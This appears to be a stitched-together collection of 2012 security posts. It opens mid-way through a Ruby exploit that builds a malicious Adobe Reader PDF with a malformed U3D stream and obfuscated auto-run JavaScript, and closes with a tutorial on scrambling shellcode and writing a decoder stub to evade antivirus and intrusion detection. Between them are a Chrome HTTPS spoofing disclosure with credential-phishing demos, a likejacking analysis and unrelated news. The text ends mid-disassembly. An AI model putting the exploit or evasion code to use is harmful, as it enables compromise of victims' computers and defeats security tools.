"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ "\x07\x00\x48\x75\x6d\x65\x72\x75\x73\x07\x00\x53\x63\x61\x70\x75\x6c\x61\x00\x00\x00\x00"+ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x55\x6c\x6e\x61\x07\x00\x48\x75"+ "\x6d\x65\x72\x75\x73\x00\x00\x00\x00\x00\x00\x20\x41\x00\x00\x00\x00\x00\x00\x20\x41\x00"+ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06"+ "\x00\x52\x61\x64\x69\x75\x73\x04\x00\x55\x6c\x6e\x61\x00\x00\x00\x00\x00\x00\x70\x41\x00"+ "\x00\x00\x00\x00\x00\x70\x41\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ "\x00\x00\x00\x00\x00\x00\x00\x00"+ # clod mesh generator (progressive mesh cont) "\x3c\xff\xff\xff\x6f\x01\x00\x00\x00\x00\x00\x00\x07\x00"+ "\x42\x6f\x78\x30\x31\x52\x58\x00\x00\x00\x00\x00\x00\x00\x00\x14\x00\x00\x00\x00\x00\x00"+ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x94\x00\x00\x00\x50\x02\x00\x00\x28\x01"+ "\x00\x00\x7f\x75\x2f\x2b\x00\x00\x20\x73\x00\x00\xc3\x05\x00\x00\x00\x00\x00\x00\x80\x02"+ "\x45\xe4\x4c\x55\x01\x00\x00\xe0\x30\x03\x00\x00\xb0\x01\x00\x00\x00\x36\x00\x00\x00\x00"+ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x55\x55\x05\x00\x80\xa3\x2a\x00\xc0\xe1"+ "\x41\x6b\x92\xf2\xa4\x00\x00\x72\x87\x18\x4c\xd0\xda\x00\x00\x20\x46\xa9\x03\x00\x40\x8c"+ "\x00\x00\xa0\x7c\xa9\xa7\x10\x03\x00\x00\xc4\x09\x00\x00\x0d\xd2\x50\x85\x03\x72\x00\x80"+ "\x5c\x37\x19\xc1\xb9\x0f\x00\x20\x55\xf7\x13\x00\x40\x00\xdc\x1f\xf9\x2c\x35\x30\x6e\x06"+ "\x62\xb6\xea\x09\x2e\x7b\x28\xa4\x90\xe0\xb3\x63\x2c\x20\x92\x2a\x88\xbc\x06\x3a\xff\x80"+ "\x43\xb2\x00\x00\x00\x14\x62\x0e\x63\xb4\x04\x08\x47\x52\x20\x31\xca\x00\x00\xb4\x21\xe0"+ "\xd7\x01\x00\xa0\x1a\x72\x11\x71\xc2\x2c\x74\xc1\xa3\x56\xfa\x30\x03\x00\xe0\x7b\xd0\x62"+ "\x2a\x00\x40\x71\xfa\x6c\xc6\xcf\x07\x78\x81\xd0\x47\x3d\x58\x0e\x51\x0f\x2e\x27\x2d\xbe"+ "\x26\x10\x06\x6f\x3a\x40\xae\x36\x6a\x43\x60\xdf\xcb\xef\x8c\x38\xca\x04\x92\x79\x4b\x79"+ "\xe9\x42\xbd\x2b\xb9\x5b\x86\x60\x65\xa4\x75\x01\x19\xda\xcf\x6a\xf7\x2a\x77\x3c\xde\xf1"+ "\x11\x75\x33\xd3\x94\x74\x4a\x14\x73\x4b\x18\xa1\x66\xc2\x0f\xde\x3d\xed\x19\xd4\x32\x2e"+ "\xb6\x11\xf2\xc6\x2f\x13\x62\xb9\xe5\xe1\x03\x8b\xb5\x1c\x23\x9f\x80\x03\x75\xb6\x26\xd3"+ "\x1c\x16\x5f\x9b\x3c\xea\x62\x10\xe1\xb1\x00\x00\x00\x00" # build the modifier chain chain_data = "" chain_data << mc_name chain_data << [0].pack('V') # type (node modifier) chain_data << [0].pack('V') # attributes (no bounding info) chain_data << u3d_pad(chain_data) chain_data << [0x5].pack('V') # number of modifiers chain_data << nodemod_decl #modifier_chain = [0xffffff14,chain_data.length,0].pack('VVV') # chain_data was 0x17c bytes modifier_chain = [0xffffff14,0x17c,0].pack('VVV') modifier_chain << chain_data data = "" data << hdr data << modifier_chain data end def RandomNonASCIIString(count) result = "" count.times do result << (rand(128) + 128).chr end result end def ioDef(id) "%d 0 obj\n" % id end def ioRef(id) "%d 0 R" % id end def ASCIIHexWhitespaceEncode(str) result = "" whitespace = "" str.each_byte do |b| result << whitespace << "%02x" % b whitespace = " " * (rand(3) + 1) end result << ">" end def make_pdf(u3d_stream, xml, js_doc) xref = [] eol = "\x0a" obj_end = "" << eol << "endobj" << eol # the header pdf = "%PDF-1.7" << eol # filename/comment pdf << "%" << RandomNonASCIIString(4) << eol email = rand_text_alpha(3) + "@" + rand_text_alpha(4) + ".com" site = rand_text_alpha(5) + ".com" xref << pdf.length pdf << ioDef(1) pdf << "<</Author (Fo)/email (#{email})/web (site)>>" pdf << obj_end compressed_xml = Zlib::Deflate.deflate(xml) xref << pdf.length pdf << ioDef(2) pdf << "<</Length " << compressed_xml.length.to_s << " /Filter /FlateDecode>>" << eol pdf << "stream" << eol pdf << compressed_xml << eol pdf << "endstream" pdf << obj_end xref << pdf.length pdf << ioDef(3) pdf << "<</XFA " << ioRef(2) << ">>" pdf << obj_end xref << pdf.length pdf << ioDef(4) pdf << "<</Type/Catalog/Outlines " << ioRef(5) pdf << " /Pages " << ioRef(6) pdf << " /OpenAction " << ioRef(14) pdf << " /AcroForm " << ioRef(3) pdf << ">>" pdf << obj_end xref << pdf.length pdf << ioDef(5) << "<</Type/Outlines/Count 0>>" pdf << obj_end xref << pdf.length pdf << ioDef(6) pdf << "<</Type/Pages/Count 3/Kids [%s %s %s]>>" % [ioRef(13), ioRef(9), ioRef(12)] pdf << obj_end data = "\x78\xda\xd3\x70\x4c\x04\x02\x4d\x85\x90\x2c\x00\x0f\xd3\x02\xf5" compressed_data = Zlib::Deflate.deflate(data) xref << pdf.length pdf << ioDef(7) pdf << "<</Length %s /Filter /FlateDecode>>" %compressed_data.length.to_s << eol pdf << "stream" << eol pdf << compressed_data << eol pdf << "endstream" pdf << obj_end xref << pdf.length pdf << ioDef(8) pdf << "<</ProcSet [/PDF]>>" pdf << obj_end xref << pdf.length pdf << ioDef(9) pdf << "<</Type/Page/Parent %s/MediaBox [0 0 640 480]/Contents %s/Resources %s>>" % [ioRef(6), ioRef(7), ioRef(8)] pdf << obj_end compressed_u3d = Zlib::Deflate::deflate(u3d_stream) xref << pdf.length pdf << ioDef(10) pdf << "<</Type/3D/Subtype/U3D/Length %s /Filter/FlateDecode>>" %compressed_u3d.length.to_s << eol pdf << "stream" << eol pdf << compressed_u3d << eol pdf << "endstream" pdf << obj_end xref << pdf.length pdf << ioDef(11) pdf << "<</Type/Annot/Subtype/3D/Contents (#{rand_text_alpha(4)})/3DI false/3DA <</A/PO/DIS/I>>" pdf << "/Rect [0 0 640 480]/3DD %s /F 7>>" %ioRef(10) pdf << obj_end xref << pdf.length pdf << ioDef(12) pdf << "<</Type/Page/Parent %s /MediaBox [0 0 640 480]/Contents %s /Resources %s /Annots [%s]>>" % [ioRef(6), ioRef(7), ioRef(8), ioRef(11)] pdf << obj_end xref << pdf.length pdf << ioDef(13) pdf << "<</Type/Page/Parent %s /MediaBox [0 0 640 480]/Contents %s /Resources %s>>" % [ioRef(6), ioRef(7), ioRef(8)] pdf << obj_end xref << pdf.length pdf << ioDef(14) pdf << "<</S/JavaScript/JS %s>>" %ioRef(15) pdf << obj_end compressed_js = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js_doc)) xref << pdf.length pdf << ioDef(15) pdf << "<</Length " << compressed_js.length.to_s << " /Filter [/FlateDecode/ASCIIHexDecode]>>" pdf << "stream" << eol pdf << compressed_js << eol pdf << "endstream" pdf << obj_end # xrefs xrefPosition = pdf.length pdf << "xref" << eol pdf << "0 %d" % (xref.length + 1) << eol pdf << "0000000000 65535 f" << eol xref.each do |index| pdf << "%010d 00000 n" % index << eol end # trailer pdf << "trailer" << eol pdf << "<</Size %d/Root " % (xref.length + 1) << ioRef(4) << ">>" << eol pdf << "startxref" << eol pdf << xrefPosition.to_s() << eol pdf << "%%EOF" << eol end end http://packetstormsecurity.org/files/108359/adobe_reader_u3d.rb.txt?utm_medium=twitter&utm_source=twitterfeed

Google Chrome HTTPS Address Bar Spoofing The Fixed Bounty Bug Revealed Last month Google awarded our security analyst Luka Treiber a Chromium Security Reward for a high-severity vulnerability fixed in version 16 of the Chrome web browser. Due to Chrome's automatic update mechanism we expect most browsers to be updated by now, which seems to be supported by StatCounter's Global Stats for January 2012, where Chrome 16 is the only Chrome version in the chart. Luka found this issue in Chrome 14 and we confirmed that Chrome 15 was vulnerable as well. This document presents the vulnerability in detail. HTTPS-related vulnerabilities tend to rate high on the severity scale as they allow attackers to make web site visitors - even the savvy ones who check for HTTPS evidence such as "https://" at the beginning of the URL - believe they are visiting a legitimate web site when they're actually on a malicious look-alike site. And when users trust a malicious web site, they will give it their credentials and personal data. This bug is a nice addition to some other HTTPS-related vulnerabilities our security researchers have found in the past: bypassing HTTPS security warnings in Internet Explorer and Netscape Navigator (yes, we were breaking HTTPS back in 1999!), and Poisoning Cached HTTPS Documents in Internet Explorer. None of these break the cryptographic model or implementation supporting HTTPS, but rather exploit the integration of SSL/TLS into the browser and browser's presentation of security-relevant information to the user. These are often the weakest link in the security HTTPS is supposed to provide. Chrome's Trigger-Happy Address Bar There is an inconsistency in the way Chrome 14/15 renders some web page redirections in a way that allows an attacker to perform address bar spoofing, resulting in an HTTPS URL being displayed with the content from some other web site. Let's take, for example, a simple JavaScript redirection page located at http://source/sample.html that looks as follows: location="http://target"; When observing the above code in execution all parts of Chrome's user interface behave consistently, meaning that as the address bar changes from URL of the source page to the target URL, the page content changes accordingly and promptly (at once). However, by altering the script like this: location="view-source:http://source/redir.php?url=http://target"; one can see the address bar starts changing before the displayed page content is replaced. So for a split second the address bar displays the new address http://target while the DOM is still from the old address http://source/sample.html. The given example is composed of two tricks: Apparently the "view-source:" prefix causes the asynchronous behavior between the address bar and the DOM. The redir.php is an HTTP 302 redirection script used to cause a redirect from view-source:http://source/redir.php to http://target, thus removing the "view-source:" prefix from the URL (the goal is to spoof the address bar to a legitimate domain as will be shown later). After this redirection, the browser no longer displays the source code but renders the HTML of http://target. All demonstrations provided below employ the above two tricks with http://target replaced by a Gmail login page address. However, to stop the redirection at the exact moment when the inconsistency between the address bar and the page contents is being exhibited, a further trick is used. Each of the three demonstrations employs a different trick to "freeze" the state of inconsistency for a long enough time for a user to enter his credentials. Demonstration #1: Redirection To HTTPS On Port 80 In the first demonstration, https://proxy.google.com:80/'>https://proxy.google.com:80/ is used as target of the redir.php script to block the redirection for about 30 seconds. This occurs because Chrome is instructed to establish an HTTPS connection with a server on an HTTP port, which results in a 30-second hopeless handshake attempt between an SSL/TLS client and an HTTP server. While the redirection using view-source:http://www.acrossecurity.com/redir.php?url=https://proxy.google.com:80/'>https://proxy.google.com:80/ is being fruitlessly attempted (and Chrome is already showing https://proxy.google.com:80/'>https://proxy.google.com:80/ in the address bar), a fake Gmail login page is displayed from attacker's web site. If username and password are entered and the submit button is pressed the data gets sent to http://www.acrossecurity.com (the "malicious" web site for the purpose of this blog post). Tests have shown that any unresponsive server script can be used instead of https://proxy.google.com:80,'>https://proxy.google.com:80, or even an invalid target URL such as view-source:http://xxxxxxxx. Let's look at a video of this demonstration: Demonstration #2: Using Google's Open Redirector In the second demonstration, we avoid the suspicious 80 port in the URL by using some open redirector on https://*.google.com as the desired spoof URL. The demonstration is analogous to the previous one except that an additional redirect is used after the http://www.acrossecurity.com/redir.php script, and that https://proxy.google.com:80 is replaced with a download-throttling page http://www.acrossecurity.com/slow.php that delays the loading for an arbitrary amount of time. This time the URL that the redirection gets stuck on is https://www.google.com/url?q=http://www.acros.si/slow.php[...]. Let's see: Demonstration #3: Delaying Redirection With A Blocked Modal Dialog In the third and final demonstration, we manage to spoof the exact URL of the Gmail login page. To do that, a blocked modal dialog is used to stop the redirection instead of the "wrong port trick" with https://proxy.google.com:80 or the download-throttling slow.php employed in the previous demonstrations. A precondition in this case, for whatever reason, is that the user has come to the malicious web site from the spoofed-to-be host (in our case https://accounts.google.com) or another host in its 2nd level domain before address bar spoofing redirection begins. This precondition can easily be fulfilled using any one of the open redirectors on google.com servers. An intentionally blocked modal dialog (blocked by Chrome's pop-up blocker) is used to stop the redirection after the address bar has already been updated with the new URL but the page content hasn't been refreshed yet. Like in the previous demonstrations, a fake login form is displayed, waiting for the user to provide his credentials. Curiously, any requests resulting from the form submittal are queued while the modal dialog is blocked. We solved this with a self-destruct script inside the modal dialog executing after the submit button has been pressed, thus releasing the said queue and allowing the credentials to be sent to attacker's server. Let's see how this looks like (notice the blocked dialog icon on the right side of the address bar): Practical Exploitability While it would certainly be possible to trick some users into logging in to Gmail (or any other targeted web site) through links provided by a 3rd party malicious web site, most users are likely to visit their favorite web sites directly (by typing the host name) or using browser bookmarks. In this case, as long as the initial URL is non-HTTPS, a man-in-the-middle attacker (i.e., the guy sitting next to you in the coffee shop with free WiFi) can actively inject malicious code into the initial web site's HTML to exploit this vulnerability and present a legitimately-looking fake HTTPS login form to the user. Finally, the hawk-eyed among you may have noticed that the spoofing is not entirely perfect: the icon left to the spoofed URL is a grey planet as is typical for HTTP addresses - and not a green lock as is typical for valid HTTPS addresses. However, while many users may notice the presence of "https" and consider it a guarantee of trust, they are less likely to notice the absence of a lock icon - especially since the visual identification of HTTPS URLs is different in different web browsers. So could this vulnerability realistically be used for defeating HTTPS in actual attacks? We think so and so does Google - and we're glad this bug is now fixed. When more and more web sites are depending on the cryptographic security of HTTPS, this bug is a reminder that HTTPS is much more than just cryptography. http://blog.acrossecurity.com/2012/01/google-chrome-https-address-bar.html

fwknop implements an authorization scheme called Single Packet Authorization (SPA). This method of authorization is based around a default-drop packet filter (fwknop supports both iptables on Linux systems and ipfw on FreeBSD and Mac OS X systems) and libpcap. SPA is essentially next generation port knocking. SPA requires only a single encrypted packet in order to communicate various pieces of information including desired access through a firewall policy and/or complete commands to execute on the target system. By using a firewall to maintain a "default drop" stance, the main application of fwknop is to protect services such as OpenSSH with an additional layer of security in order to make the exploitation of vulnerabilities (both 0-day and unpatched code) much more difficult. With fwknop deployed, anyone using namp to look for sshd can't even tell that it is listening; it makes no difference if they have a 0-day exploit or not. The authorization server passively sniffs authorization packets via libcap and hence there is no "server" to which to connect in the traditional sense. Access to a protected service is only granted after a valid encrypted and non-replayed packet is monitored from an fwknop client. fwknop 2.0 is the first production release of the fully re-written C version of fwknop, and is the culmination of an effort to provide Single Packet Authorization to multiple open source firewalls, embedded systems, mobile devices, and more. On the "server" side, supported firewalls now include iptables on Linux, ipfw on FreeBSD and Mac OS X, and pf on OpenBSD. The fwknop client is known to run on all of these platforms, and also functions on Windows systems running under Cygwin. There is also an Android client, and a good start on a iPhone client as well. Download fwknop Version 2.0 http://www.cipherdyne.org/fwknop/download/

Microsoft is celebrating the news that Internet Explorer 6 (IE6) use in the US has officially dropped below one per cent of internet visits. In March, Microsoft assembled a team to push for the destruction of IE6, and have succeeded in reducing the market footprint of the browser. Currently 7.7 per cent of worldwide internet site visits use IE6, according to Microsoft, but the figure is now 0.9 per cent in the US. So Redmond threw a party to celebrate: Happy death day to you “I’m thrilled to say that the United States has joined the ranks of Austria, Poland, Sweden, Denmark, Finland and Norway in dropping below one per cent usage of IE6,” blogged Roger Capriotti, Microsoft’s director of Internet Explorer marketing. “We hope this means more developers and IT Pros can consider IE6 a ’low-priority’ at this point and stop spending their time having to support such an outdated browser.” China currently leads the rankings in use of IE6, with around a quarter of internet denizens still firing up the browser, which was first released in August 2001. Surprisingly, South Korea – one of the most wired countries in the world – still has over 7 per cent of users on IE6, with India not far behind at 5.4 per cent. The Norwegians are ahead of the curve, with just 0.2 per cent of internet users holding on to the old browser – in May 2010 it became the first country to break the sub-one per cent figure. Its Nordic neighbors in Finland, Denmark, and Sweden followed shortly afterwards. In the UK, the figure is 1.4 per cent. While Microsoft has proclaimed the software to be dead, all is not lost for IE6 code. A team of former Redmond staffers have started a company called Browsium that markets add-ons for IE8 and IE9, dubbed UniBrows, that enable them to run IE6 legacy code. http://www.theregister.co.uk/2012/01/03/microsoft_ie6_death/?utm_source=google&utm_medium=twitter&utm_campaign=Feed%253A+InformationSecurityDisclosure+%2528Information+Security+Disclosure%2529

parerea mea )

When logging into Facebook this morning I saw that many of my friends posted a link to a video on their wall, and also everyone liked the link. The video was of a girl with a nice butt and it had the title "Laura Frisian: the most beautiful ass in the world!", it was pretty obvious that it was a scam because it looked like all the other Facebook scams we have seen, but because soo many of my friends were posting this video I still decided to take a look at it. I quickly ended up in a JavaScript hell, with obfuscated code and multiple domains. It seems that the server used in this scam is hosting about 300 pages similar to the one im writing about. All of the pages look the same, but have many different videos, a few examples are: If you like Nutella, never look this video!!! Drill a tooth abscess! Disgusting :s Compilation of Embarrassing and Busted! Photos, Awesome Transgender 10-Year-Old, Boy Happier As A Girl ! A Really Giant Baby ! Amazing it looks so real Air Race Plane Crashed in the crowd during a show ! The worst thing that can happen to a girl! A fisherman catches a couple when they make ... There are also many different JavaScripts being loaded, one of the ones we have identified is the following one, and exactly what this one does is not clear yet: But the synopsis of the scam is pretty simple. If you click on the link to the video you will end up on a splash page, on this page you will be exposed to a clickjacking/likejacking attempt. This means that if you try to watch the video, or any other video on the page it will automatically post things on your Facebook wall. This require that you are logged in to Facebook or have been logged in and your cookie is still active. There are two different splash pages, one if you are loggedin to Facebook, and one of you are not. Please see screenshots below: If you are not logged in to Facebook If you are logged in to Facebook The full landing page looks like this: The JavaScript code is obfuscated and packed, this makes the entire debugging more difficult, but during the research I have identified several domains connected to this scam. It also seems that they use redirectors to prevent URL/Domain blacklisting, and there are also several different scams on each server. It seems that the purpose of this scam is to expose you to ads, and also automatically get you to like certain ads. This will generate both traffic and money for the guys behind this. Please, if you see this on Facebook, please report it as spam, this will allow the Facebook Security Team to deal with this much faster. http://www.securelist.com/en/blog/208193316/New_ClickJacking_LikeJacking_scam_on_Facebook

1. Introduction This article aims to provide you with the different steps needed to develop shellcode obfuscation techniques, and their respective deobfuscator assembly stubs. This should help you to learn a bit more about IDS and Anti-Virus evasion techniques, and more than that, to give you an useful template to create more advanced obfuscations stuffs. Don’t be confused, we are not talking about shellcode “encoders” since we do neither modify the opcodes nor remove any bad characters. We will just hide the shellcode and – hopefully – break common shellcode patterns. It means that your initial shellcode must already be NULL free or some. While obfuscating (or encoding) a shellcode with your own method will not help you to bypass all anti-virus software (thanks to sandbox-based AV), it is a useful step to achieve it (but this discussion is out of scope for the moment). There is three main parts in this development: Obfuscate the Shellcode with a Perl script (or any other language). The result will print a shellcode in C syntax. Write the assembly stub, able to reverse the shellcode in its initial state, and start it. Tune the stub to make it reusable and put everything together. 1.2. Requirements: A computer with an Operating System. Basic C/C++ knowledge. Scripting knowledge such as Perl, Ruby, Python … Basic Shellcode understandings. A bit of Assembly knowledge or enough of motivation to break the ice. 2. Shellcode scrambling method (one over 0xffffffff) The following picture illustrates the way we’ve obfuscated our Shellcode. We keep it simple for demonstration purpose. Junk bytes have been introduced between each byte of the initial shellcode, and the junk length is random too. In order to be able to retrieve the location of the initial bytes at run-time (and so rebuild the initial shellcode), the junk length is stored right after the shellcode bytes as you can see in the previous picture. The pros: No way to recognize the initial shellcode since the bytes are totally flooded over a bunch of bytes, at random distances. Easy to implement. The cons: The size of the new shellcode. As usual, the final Shellcode will looks like this: { STUB } {OBFUSCATED SHELLCODE} 3. Practice 3.1. The obfuscation part As previously written, we have developed a Perl script to generate the obfuscated version of the Shellcode. Feel free to use any other language if you are not familiar with Perl. This is just a first version of the script which will print out the obfuscated version of the Shellcode, based on the rule explained above (see the previous picture). In a later step, we will adapt this script to insert (and tune) the assembly stub to the final shellcode, and permit its deobfuscation.. #!/usr/bin/perl -w # ---------- # obf1.pl # ---------- use strict; # simple shellcode (print 'hello') my $buf = "\xeb\x19\x31\xc0\x31\xdb\x31\xd2\x31\xc9\xb0\x04\xb3\x01" . "\x59\xb2\x05\xcd\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80\xe8" . "\xe2\xff\xff\xff\x68\x65\x6c\x6c\x6f"; #========================== CODE ============================= my $buf_length = do{length $buf}; # convert buf string into an array my @buf_array = unpack 'a' x length $buf, $buf; # random pool my @rnd_steps=(1,2,3); my @chars=('a'..'z','A'..'Z','0'..'9','_'); # final shellcode my $final = ""; # init pseudo rnd generator my $rnd=0; srand(time); # start obfuscation for(my $i=0; $i< $buf_length ; $i++){ # copy good shellcode byte into final buffer $final .= chr(ord($buf_array[$i])); # get random from @rnd_step $rnd = $rnd_steps[rand @rnd_steps]; # append random number after the SC byte $final .= pack('c', $rnd); # add 'random - 1' junk bytes for(my $p=1; $p < $rnd; $p++){ $final .= $chars[rand @chars]; # RND } } # print final shellcode in C language print "// NEW SHELLCODE\n"; print "unsigned char buf[] = "; my $hex = unpack('H*', $final); for (my $i = 0; $i < length $hex; $i+=2) { if($i % 15 eq 0){ if($i eq 0) {print "\n\"";} else {print "\"\n\"";} } print "\\x" . substr $hex, $i, 2; } print "\";\n\n"; # print shellcode length (optional) print "unsigned int buf_len = ". do{length $final} . ";\n"; Lets try: [user@linux]$ ./obf1.pl // NEW SHELLCODE unsigned char buf[] = "\xeb\x02\x33\x19\x01\x31\x03\x4f\x6e\xc0\x02\x48\x31\x01\xdb" "\x02\x34\x31\x03\x53\x47\xd2\x03\x70\x56\x31\x01\xc9\x02\x48" "\xb0\x02\x5f\x04\x01\xb3\x02\x68\x01\x02\x63\x59\x03\x6a\x4d" "\xb2\x01\x05\x03\x76\x70\xcd\x02\x56\x80\x01\x31\x03\x33\x7a" "\xc0\x02\x53\xb0\x03\x62\x52\x01\x01\x31\x02\x50\xdb\x02\x6d" "\xcd\x01\x80\x01\xe8\x01\xe2\x02\x75\xff\x03\x67\x47\xff\x01" "\xff\x01\x68\x02\x76\x65\x03\x5a\x45\x6c\x02\x53\x6c\x02\x4f" "\x6f\x01"; unsigned int buf_len = 107; As you can see: the first byte is a valid shellcode byte (\xeb) the second byte is the junk length before the next valid byte, and is chosen randomly (\x02) the third byte is a random junk byte the fourth byte is the second valid byte (\x19) … 3.2. The deobfuscation stub This section is probably a bit more interesting. Here we will manage the deobfuscation of the shellcode at run-time by writing a small assembly code. ;enc2.asm [SECTION .text] global _start _start: jmp short ender ; push SC addre on the stack (MY_JMP_ENDER) starter: xor eax, eax ; clean up the registers xor ebx, ebx xor edx, edx xor ecx, ecx pop edx ; get addr of shellcode (jmp short ender) push edx mov esi, edx ; set SC addr mov edi, edx ; set SC addr inc esi ; point to the first dst position inc edi ; point to the first rnd mov cl, 200 ; tmp loop counter (MY_CNT) myloop: xor eax, eax xor ebx, ebx mov al, byte [edi] ; read distance to next byte add eax, edi ; eax = addr of the next valid byte mov bl, byte [eax] ; bl = next valid byte of the shellcode mov byte [esi], bl ; move it to the final position mov edi, eax ; inc edi ; edi = next distance inc esi ; esi = next position for a valid byte loop myloop ; loop done: pop ecx ; call shellcode call ecx ; xor eax, eax ; exit the shellcode (if it returns) mov al, 1 ; xor ebx,ebx ; int 0x80 ; ender: call starter ; put the address of the string on the stack ;db THE_OBFUSCATED_SHELLCODE Some explanations: In starter section, we are resetting the registers, put the address of the shellcode into EDX, initiate ESI and EDI which will later be used to navigate and modify the shellcode, and set ECX to (for the moment) a random value (ECX is the loop counter). ECX will have to hold the real length of the initial shellcode, and will be updated later by the Perl script. In myloop section, we simply parse the obfuscated shellcode, and move back the valid bytes to their initial positions. In done section, we jump to the address of the shellcode. ender section is the usual way to push the address of the shellcode onto the stack. During the call starter instruction, EIP register will be pushed on the top of the stack and will contains the address of the next instruction (which will be the first instruction of the shellcode). Let’s compile our stub. Here we use nasm under Linux, but the stub will of course works under Windows too. After that, we dump the opcodes and check that everything is as expected. [user@linux]$ nasm -f elf enc2.asm [user@linux]$ ld -o enc2 enc2.o [user@linux]$ objdump -d enc2 enc2: file format elf32-i386 Disassembly of section .text: 08048060 <_start>: 8048060: eb 2f jmp 8048091 <ender> 08048062 <starter>: 8048062: 31 c0 xor %eax,%eax 8048064: 31 db xor %ebx,%ebx 8048066: 31 d2 xor %edx,%edx 8048068: 31 c9 xor %ecx,%ecx 804806a: 5a pop %edx 804806b: 52 push %edx 804806c: 89 d6 mov %edx,%esi 804806e: 89 d7 mov %edx,%edi 8048070: 46 inc %esi 8048071: 47 inc %edi 8048072: b1 c8 mov $0xc8,%cl 08048074 <myloop>: 8048074: 31 c0 xor %eax,%eax 8048076: 31 db xor %ebx,%ebx 8048078: 8a 07 mov (%edi),%al 804807a: 01 f8 add %edi,%eax 804807c: 8a 18 mov (%eax),%bl 804807e: 88 1e mov %bl,(%esi) 8048080: 89 c7 mov %eax,%edi 8048082: 47 inc %edi 8048083: 46 inc %esi 8048084: e2 ee loop 8048074 <myloop> 08048086 <done>: 8048086: 59 pop %ecx 8048087: ff d1 call *%ecx 8048089: 31 c0 xor %eax,%eax 804808b: b0 01 mov $0x1,%al 804808d: 31 db xor %ebx,%ebx 804808f: cd 80 int $0x80 08048091 <ender>: 8048091: e8 cc ff ff ff call 8048062 <starter> It is time to build the opcodes list (same as for a usual shellcode). I wrote this dirty AWK script, but choose the way you prefer. #!/bin/sh # convert-sc.sh objdump -d $1 | awk -F '\t' '{printf $2}' | \ awk 'BEGIN { cnt=0; print; printf "unsigned char buf[]=\n\""} { x=0; while(x<NF){ if(x % 15 == 0 && x !=0){ printf "\"\n\""} printf "\\x"$(x+1); x++; cnt++ } print "\";\n\nLength: "cnt }' hen, we run it like this: [user@linux]$ ./convert-sc.sh enc2 unsigned char buf[]= "\xeb\x2f\x31\xc0\x31\xdb\x31\xd2\x31\xc9\x5a\x52\x89\xd6\x89" "\xd7\x46\x47\xb1\xc8\x31\xc0\x31\xdb\x8a\x07\x01\xf8\x8a\x18" "\x88\x1e\x89\xc7\x47\x46\xe2\xee\x59\xff\xd1\x31\xc0\xb0\x01" "\x31\xdb\xcd\x80\xe8\xcc\xff\xff\xff"; Length: 54 Please welcome our new stub. 3.3. Tuning the assembly STUB Great, we have our deobfucation code (section 3.2), ready to be prefixed to our obfuscated shellcode (section 3.1). But, wait … We still need to update the loop counter (ECX) to the length of the initial shellcode. 3.3.1 Updating the counter loop (ECX) We need to update the line 17 with the respective length of the initial shellcode. Disassembly of section .text: 08048060 <_start>: 8048060: eb 2f jmp 8048091 <ender> 08048062 <starter>: 8048062: 31 c0 xor %eax,%eax 8048064: 31 db xor %ebx,%ebx 8048066: 31 d2 xor %edx,%edx 8048068: 31 c9 xor %ecx,%ecx 804806a: 5a pop %edx 804806b: 52 push %edx 804806c: 89 d6 mov %edx,%esi 804806e: 89 d7 mov %edx,%edi 8048070: 46 inc %esi 8048071: 47 inc %edi 8048072: b1 c8 mov $0xc8,%cl 08048074 <myloop>: 8048074: 31 c0 xor %eax,%eax 8048076: 31 db xor %ebx,%ebx 8048078: 8a 07 mov (%edi),%al 804807a: 01 f8 add %edi,%eax 804807c: 8a 18 mov (%eax),%bl 804807e: 88 1e mov %bl,(%esi) 8048080: 89 c7 mov %eax,%edi 8048082: 47 inc %edi 8048083: 46 inc %esi 8048084: e2 ee loop 8048074 <myloop> 08048086 <done>: 8048086: 59 pop %ecx 8048087: ff d1 call *%ecx 8048089: 31 c0 xor %eax,%eax 804808b: b0 01 mov $0x1,%al 804808d: 31 db xor %ebx,%ebx 804808f: cd 80 int $0x80 08048091 <ender>: 8048091: e8 cc ff ff ff call 8048062 <starter> Since we’d like to avoid NULL byte into our stub, we can’t use instructions such as: mov ECX, 178 since it will produce null bytes. ex: 8048072: b9 b2 00 00 00 mov $0xb2,%ecx It makes sense that we need to use a 8 bits move like: mov CL, 178 which is produce the opcodes \xb1 and \xb2 as seen below: 8048072: b1 b2 mov $0xb2,%cl However, if the shellcode length is greater than 255, we must move it into a 16 bits register like: mov CX, 278 which produce the following opcodes: 8048072: 66 b9 16 01 mov $0x116,%cx As you see, we need four opcodes to update CX register, instead of two to update CL. Is it a problem ? Kind of. The length of the stub is therefore modified and the relative addresses used within JMP and CALL instructions have to be updated too. 3.3.2. Updating JMP and CALL addresses As explained in the previous section, lines 4 and 40 contain relative addresses which will change based on the length of the stub. Disassembly of section .text: 08048060 <_start>: 8048060: eb 2f jmp 8048091 <ender> 08048062 <starter>: 8048062: 31 c0 xor %eax,%eax 8048064: 31 db xor %ebx,%ebx 8048066: 31 d2 xor %edx,%edx 8048068: 31 c9 xor %ecx,%ecx 804806a: 5a pop %edx 804806b: 52 push %edx 804806c: 89 d6 mov %edx,%esi 804806e: 89 d7 mov %edx,%edi 8048070: 46 inc %esi 8048071: 47 inc %edi 8048072: b1 c8 mov $0xc8,%cl 08048074 <myloop>: 8048074: 31 c0 xor %eax,%eax 8048076: 31 db xor %ebx,%ebx 8048078: 8a 07 mov (%edi),%al 804807a: 01 f8 add %edi,%eax 804807c: 8a 18 mov (%eax),%bl 